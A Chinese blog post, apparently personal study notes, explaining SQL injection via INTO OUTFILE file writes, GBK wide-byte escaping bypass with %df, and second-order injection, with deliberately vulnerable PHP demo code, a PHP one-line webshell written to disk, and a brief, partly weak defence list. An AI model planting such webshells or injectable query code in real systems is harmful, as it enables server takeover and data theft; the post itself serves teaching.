SQL注入漏洞之文件写入、宽字节注入及二次注入

前言:

  这两天总是觉得自己失去了一些什么,静下来后才发觉之前学的一些东西已经忘了,这可不是一个好的征兆,所以,赶紧的把现在还记得而且没记录的东西记录起来才是正事,这一篇是记录SQL注入小技巧的文章。

参考文献:水清云影老师的讲解视频

正文:

  SQL注入技巧除了那些常见的注入方式之外,还有一些比较偏门的注入技巧,有一些是绕过方式的特殊,一些是利用方式的特殊。

文件写入:

  这是利用SQL语句中into outfile语句进行注入的一种方式,通过漏洞点将木马写入服务器的注入方式。假设站点下存在普通的SQL注入,代码举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#sql.php
<?php
$id=$_GET['id'];
$conn=@mysqli_connect('localhost','root',NULL,'erci2');
$sql="SELECT * FROM USER WHERE id={$id}";
$result=mysqli_query($conn,$sql) or die(mysqli_error($conn));
while($row=mysqli_fetch_array($result)){
echo "ID:".$row['id']."<br />";
echo "username:".$row['username']."<br />";
echo "password:".$row['password']."<br />";
echo "EMAIL:".$row['PHONE']."<br />";
}
mysqli_close($conn);
echo "<hr>";
echo $sql;
?>

  正常的执行结果是这样的:p1

从源代码中就可以看出来源码存在SQL报错注入,而且是数字型报错注入;没有过滤into outfile关键字,这就是产生SQL注入文件写入的前提,如果这里被人写入这样的语句:p2

  虽然我用的是MAC,当我一直都搞不懂文件目录,不过在Windows可以直接用F:/VHOST/www/con.php就会在那个目录在站点目录下面生成一个php文件,根据我上面的语句,里面生成的内容就是:

1
2
3
#con.php
2 Cayce Atlantis 18888888888
1 <?php eval($_POST['1']);?> 3 4

  这里会出现一句话木马是因为上面payload里面的16进制内容就是一句话木马。

宽字节注入:

  先来谈谈宽字节的来源吧:一般的网站为了人性化,都会用到字符,字符集和字符序,而程序员在网站开发上处理这些字符的用的大多都是UTF-8编码,也就是位于ASCII码和UNICODE之间的中间编码,但有一些特殊的网站还会用到ASCII编码,而宽字节就是其中几类ASCII编码的特征,比如常见的有:GB2312、GBK、GB18030、BIG5、Shift_JIS等,这些编码都是由两个字节,也就是一个字组成。而款字节注入就是利用这个特性来吃掉被转义的ASCII字符(一个字节),而不影响代码的执行。代码举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#sql.php
<?php
header("Content-Type: text/html;charset=GBK");
$id=addslashes($_GET['id']);
$conn=@mysqli_connect('localhost','root',NULL,'erci2');
$sql="select * from user where id='$id'";
mysqli_query($conn,"SET NAMES 'GBK'");
$result=mysqli_query($conn,$sql) or die(mysqli_error($conn));
while($row=mysqli_fetch_array($result)){
echo "ID:".$row['id']."<br />";
echo "username:".$row['username']."<br />";
echo "password:".$row['password']."<br />";
echo "PHONE:".$row['phone']."<br />";
}
mysqli_close($conn);
echo "<hr>";
echo $sql;
?>

先看一下正常SQL注入:p4

再看一下宽字节注入方法:p3

对比发现,正常闭合的单引号被转义了,而使用%df'的方式闭合会出现一个‘運’字,这是因为原本转义单引号的\被吃掉了,组成一个宽字节字符。看这里的一张图p5

  走一下过程:MYSQL的编码被设置成宽字节型编码,php代码中使用的转义函数对接收的数据进行处理,payload中对闭合符号之前加入吃掉%5c的%df符号,在宽字节的编码下,形成一个被SQL语言忽略的汉字,绕过成功。

二次注入:

  二次注入是因为程序员在编写后台代码的时候虽然精心处理了用户传过来的数据,但存储在数据库之中的数据还是跟用户输入的数据的一样,而数据在取出数据库的时候,就会被当作SQL语句执行,从而造成二次注入。代码举例一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#sql.php 注册功能
<?php
header("constant-type:text/html;charset=utf-8");
if(!empty($_POST['submit'])){
$Username=addslashes($_POST['Username']);
$Password=addslashes($_POST['Password']);
$Phone=addslashes($_POST['Phone']);
$conn=@mysqli_connect('localhost','root',NULL,'erci2');
$sql="insert into user(username,password,phone) values('{$Username}','{$Password}','{$Phone}')";
$result=mysqli_query($conn,$sql) or die(mysqli_error());
if($result){
header('location:1.php');
}
}
?>

<!DOCTYPE html>
<html>
<head>
<title>SQL二阶注入</title>
</head>
<body>
<form method="post" style="margin-left: 35%;" action="">
Username:<input type="text" name="Username"><br />
Password :<input type="password" name="Password"><br />
Phone:<input type="text" name="Phone" style="margin-left: 3.3%"><br />
<input type="submit" name="submit" style="margin-left: 20%; color: #00f; background-color: #0af">
</form>
</body>
</html>

注册之后可以在某一位置对数据进行查询获修改,代码举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#1.php 查询功能
<?php
header("constant-type:text/html;charset=utf-8");
if(!empty($_POST['submit'])){
$id=$_POST['id'];
$conn=@mysqli_connect('localhost','root',NULL,'erci2');
$sql="select * from user where id='{$id}'";
$result=mysqli_query($conn,$sql) or die(mysqli_error());
while($row=mysqli_fetch_array($result)){
$Username=$row['username'];
$sql="select * from user where username='{$Username}'";
$result=mysqli_query($conn,$sql) or die(mysqli_error());
while($row=mysqli_fetch_array($result)){
echo "ID:".$row['id']."<br />";
echo "Username".$row['username']."<br />";
echo "Password".$row['password']."<br />";
echo "Phone:".$row['phone'];
}
}
}

?>

<!DOCTYPE html>
<html>
<head>
<title>SQL二阶注入</title>
</head>
<body>
<form method="post" style="margin-left: 35%;" action="">
search id:<input type="text" name="id"><br />
<input type="submit" name="submit" style="margin-left: 20%; color: #00f; background-color: #0af">
</form>
</body>
</html>

简单解释一下代码,在sql.php中用户可以将数据插入数据库,虽然传过来的数据被过滤了,不过写入的数据库的数据却被还原成用户输入的内容,在1.php中,查询的时候调用到shellcode,原本无害的数据被当作SQL命令执行,造成SQL二阶注入。过程演示,恶意用户构造ShellCode:p6

这里传进去的Username原本会被addslashes($_POST[‘Username’])转义,不过在存入数据库的时候会被还原:p7

之后在另一个界面调用到这个数据的时候如果没有经过处理,该数据就会被当成SQL命令执行:p8

明显可以看出来,Username部分显示的跟用户创建的值不一样,而是数据被当作命令执行后的结果,这就是一个二次注入的SQL漏洞。

防御方式:

对这三个漏洞,不管哪个,建议四步走:

  1. 对用户输入的数据最好都用正则表达式将关键是全部都给过滤掉;
  2. 再使用mysqli_real_escape_sring()处理SQL执行语句;
  3. 对编码进行强制性要求,直接写死,不给机会;
  4. 不使用where语句,使用mysqli自带方法将每一步写死。

总结:

  现在对于这三个漏洞能想起来的也就这么多,这还是在老师的讲解视频的帮助下。这应该算是SQL注入中的高级注入方式了,目前本人还只是菜鸟一枚,对其他的SQL偏门注入了解的不是很深,就不献丑了。如果我的理解还有什么不到位的地方,欢迎表哥表姐们批评教育,请走该通道:

QQ